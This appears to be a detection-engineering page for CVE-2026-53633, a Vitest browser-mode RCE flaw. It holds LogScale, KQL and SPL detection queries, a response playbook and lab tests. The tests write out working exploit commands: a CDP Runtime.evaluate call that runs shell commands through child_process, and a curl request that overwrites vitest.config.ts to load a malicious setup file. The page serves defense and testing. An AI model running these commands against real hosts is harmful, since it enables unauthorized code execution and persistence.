CVE-2026-53633 CrowdStrike LogScale · LogScale

Detect CVE-2026-53633: Vitest Browser Mode API RCE via CDP Proxy and Config Overwrite in CrowdStrike LogScale

CVE-2026-53633 is a critical (CVSS 9.8) remote code execution vulnerability in @vitest/browser and vite-plus packages. The browser mode API is exposed without adequate authorization controls (CWE-749, CWE-862), allowing unauthenticated attackers to proxy Chrome DevTools Protocol (CDP) commands and overwrite configuration files. This can lead to arbitrary code execution on the host running Vitest in browser mode. Affected versions include @vitest/browser >= 3.0.0 <= 3.2.4, >= 4.0.0 <= 4.1.7, >= 5.0.0-beta.0 <= 5.0.0-beta.3, and vite-plus <= 0.1.23. A public PoC exists.

MITRE ATT&CK

Tactic
Initial Access Execution Persistence Privilege Escalation

LogScale Detection Query

CrowdStrike LogScale (LogScale)
cql 
#event_simpleName=NetworkConnectIP4 OR #event_simpleName=NetworkReceiveAcceptIP4
| LocalPort in (51204, 51205, 5173, 5174, 4173) OR RemotePort in (51204, 51205, 5173, 5174, 4173)
| RemoteAddressIP4 != "127.0.0.1" AND RemoteAddressIP4 != "::1"
| NOT cidrmatch("10.0.0.0/8", RemoteAddressIP4)
| NOT cidrmatch("172.16.0.0/12", RemoteAddressIP4)
| NOT cidrmatch("192.168.0.0/16", RemoteAddressIP4)
| join type=inner
  [
    #event_simpleName=ProcessRollup2
    | ImageFileName in ("/usr/bin/node", "/usr/local/bin/node", "node.exe", "node")
    | CommandLine contains "vitest" OR CommandLine contains "@vitest/browser"
  ]
  field=[aid, TargetProcessId]
  with [aid, ContextProcessId]
| rename RemoteAddressIP4 AS external_ip, LocalPort AS vitest_port
| table _time, aid, ComputerName, external_ip, vitest_port, ImageFileName, CommandLine
critical severity high confidence

CrowdStrike CQL query correlating network connections to Vitest ports from external IPs with Node.js processes spawned with Vitest arguments, identifying active CVE-2026-53633 attack surface exposure.

Data Sources

CrowdStrike Falcon Network EventsCrowdStrike Falcon Process Events

Required Tables

NetworkConnectIP4NetworkReceiveAcceptIP4ProcessRollup2

False Positives & Tuning

  • Developer machines with Vitest running for local testing where the developer is accessing from a non-RFC1918 IP such as an IPv6 address
  • Container orchestration environments where pod IPs fall outside standard private ranges
  • Remote developer workstations accessing shared Vitest test servers over non-private subnets

Other platforms for CVE-2026-53633

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Vitest Browser Mode CDP Discovery via /json Endpoint

    Expected signal: HTTP GET requests to /json and /__vitest_api__/ on ports 51204 or 5173 from an external source IP visible in web server or proxy logs

  2. Test 2CDP Runtime.evaluate Arbitrary JavaScript Execution via Vitest Browser API

    Expected signal: WebSocket upgrade request to /devtools/page/<id> followed by CDP Runtime.evaluate method in request payload visible in network capture

  3. Test 3Vitest Config File Overwrite via Exposed API

    Expected signal: HTTP POST to /__vitest_api__ with writeFile method in request body; filesystem audit log showing vitest.config.ts modification timestamp updated outside normal developer hours

Last updated: 2026-06-30 Research depth: standard
References (2)

Response Playbook

Triage

  1. Identify the source IP and destination host of the suspicious request; determine if the destination is a developer workstation, CI runner, or production-adjacent system running Vitest in browser mode
  2. Inspect the HTTP request path and query parameters for CDP command patterns (Runtime.evaluate, Page.navigate, Target.attachToTarget) or config file paths (.env, vitest.config.*, vite.config.*) to assess exploitation stage
  3. Check the @vitest/browser and vite-plus package versions installed on the affected host using 'npm ls @vitest/browser' and 'npm ls vite-plus' to confirm whether a vulnerable version is present
  4. Review process ancestry on the affected host: determine if node processes spawned child processes (shell, interpreter) following the suspicious network activity, which would indicate successful RCE

Containment

  1. Immediately block external network access to Vitest browser mode ports (default 51204, 5173, 5174, 4173) via firewall rules or security group modification; Vitest browser mode should never be reachable from untrusted networks
  2. If RCE is confirmed or suspected, isolate the affected host from the network and escalate to incident response; terminate all Vitest and Node.js processes on the host pending investigation

Evidence Collection

  1. Collect web server or reverse proxy access logs for the affected Vitest port covering the 48 hours preceding detection, filtering for requests to /__vitest_api__/, /cdp, /json, and WebSocket upgrade requests
  2. Capture the filesystem state of the project directory on the affected host, specifically vitest.config.*, vite.config.*, .env files, and node_modules/@vitest/browser/, to identify any unauthorised config overwrites

Escalation Criteria

  • !Escalate immediately if any Node.js or shell child processes were spawned from the Vitest server process following external network activity — this confirms RCE and requires full incident response activation
  • !Escalate if config file modification timestamps correlate with the suspicious network requests, indicating successful write-access exploitation of the vulnerability

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >HTTP access logs showing requests to /__vitest_api__/ or /__vitest__/ endpoints from non-localhost IPs
  • >Modified timestamps on vitest.config.ts, vite.config.ts, or .env files that do not correspond to developer commits
  • >node_modules/@vitest/browser/package.json — inspect version field to confirm vulnerable release
  • >Process creation events showing node spawning sh, bash, cmd.exe, or powershell.exe during or after suspicious network activity

Tuning Guidance

Reduce false positives by allowlisting known CI/CD runner IPs and developer VPN egress ranges from the external IP checks. Scope port-based detections to assets tagged as development or test infrastructure rather than production hosts. If Vitest is used in containerised CI only, consider adding container orchestration network CIDRs to the exclusion list. For highest-fidelity detection, combine the network-layer queries with process-level telemetry confirming a vulnerable @vitest/browser version is loaded.

Hunting Queries

Hunt for Node.js processes running Vitest in browser mode bound to all interfaces (0.0.0.0) or on known Vitest ports, which creates the attack surface for CVE-2026-53633 exploitation

Hunting — KQL
kql 
DeviceProcessEvents
| where TimeGenerated >= ago(7d)
| where FileName in ("node", "node.exe")
| where ProcessCommandLine contains "vitest" and ProcessCommandLine contains "--browser"
| extend ParentIsShell = ParentProcessName in ("bash", "sh", "zsh", "cmd.exe", "powershell.exe", "pwsh.exe")
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine, ParentProcessName, ParentCommandLine, ParentIsShell
| where ParentIsShell or ProcessCommandLine contains "--port 0" or ProcessCommandLine contains "--host 0.0.0.0"
Hunting — SPL
spl 
index=endpoint sourcetype=crowdstrike:events:sensor earliest=-7d
| where event_simpleName="ProcessRollup2"
| where ImageFileName LIKE "%node%"
| where CommandLine LIKE "%vitest%" AND CommandLine LIKE "%browser%"
| eval bound_all_interfaces=if(match(CommandLine, "host.{0,10}0\.0\.0\.0"), 1, 0)
| eval explicit_port=if(match(CommandLine, "port.{0,10}(51204|5173|5174|4173)"), 1, 0)
| where bound_all_interfaces=1 OR explicit_port=1
| table _time, ComputerName, UserName, CommandLine, ParentImageFileName

Atomic Red Team Tests

Test 1 Vitest Browser Mode CDP Discovery via /json Endpoint
linux

Simulates an attacker discovering exposed Vitest browser mode CDP by querying the /json endpoint, which lists available debugging targets without authentication. This is the reconnaissance phase of CVE-2026-53633 exploitation.

Command

bash 
# Lab only — requires Vitest >= 3.0.0 <= 3.2.4 running in browser mode
curl -s http://TARGET_HOST:51204/json | python3 -m json.tool
# Also check:
curl -s http://TARGET_HOST:51204/json/version
curl -s http://TARGET_HOST:5173/__vitest_api__/

Cleanup

bash 
No cleanup required — read-only reconnaissance request

Expected Telemetry

HTTP GET requests to /json and /__vitest_api__/ on ports 51204 or 5173 from an external source IP visible in web server or proxy logs

Expected Detection

Alert triggered on network detection rules matching Vitest port + CDP discovery path combination

Test 2 CDP Runtime.evaluate Arbitrary JavaScript Execution via Vitest Browser API
linux

Exploits the unauthenticated CDP proxy in Vitest browser mode to evaluate arbitrary JavaScript in the browser context, demonstrating the RCE primitive enabled by CVE-2026-53633.

Command

bash 
# Lab only — requires vulnerable @vitest/browser running with --browser flag
# Step 1: Get target ID
TARGET_ID=$(curl -s http://TARGET_HOST:51204/json | python3 -c "import sys,json; print(json.load(sys.stdin)[0]['id'])")
# Step 2: Open WebSocket and send CDP command
python3 -c "
import websocket, json, sys
ws = websocket.create_connection('ws://TARGET_HOST:51204/devtools/page/' + sys.argv[1])
ws.send(json.dumps({'id':1,'method':'Runtime.evaluate','params':{'expression':'require(\"child_process\").execSync(\"id\").toString()','returnByValue':True}}))
print(ws.recv())
" "$TARGET_ID"

Cleanup

bash 
Close WebSocket connection; no persistent changes to target

Expected Telemetry

WebSocket upgrade request to /devtools/page/<id> followed by CDP Runtime.evaluate method in request payload visible in network capture

Expected Detection

EQL sequence rule fires on discovery followed by CDP command; CrowdStrike CQL correlates Node.js process network activity

Test 3 Vitest Config File Overwrite via Exposed API
linux

Demonstrates the config file overwrite vector of CVE-2026-53633 by sending a crafted request to the Vitest browser mode API to write a malicious vitest.config.ts, enabling persistence or further exploitation.

Command

bash 
# Lab only — requires vulnerable @vitest/browser running
# Overwrite vitest config via API (exact path depends on Vitest version internals)
curl -s -X POST http://TARGET_HOST:5173/__vitest_api__ \
  -H 'Content-Type: application/json' \
  -d '{"method":"writeFile","params":{"path":"vitest.config.ts","content":"import {defineConfig} from \"vitest/config\"; export default defineConfig({test:{setupFiles:[\"/tmp/malicious.ts\"]}})"}}'

Cleanup

bash 
Restore original vitest.config.ts from version control: git checkout vitest.config.ts

Expected Telemetry

HTTP POST to /__vitest_api__ with writeFile method in request body; filesystem audit log showing vitest.config.ts modification timestamp updated outside normal developer hours

Expected Detection

Sumo Logic and Splunk queries fire on config file path in URI; file integrity monitoring alert on vitest.config.ts modification

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0003PersistenceTA0004Privilege Escalation

Related Techniques

T1190Exploit Public-Facing ApplicationT1059.006PythonT1565.001Stored Data Manipulation

Same Tactic: Initial Access

Popular Detections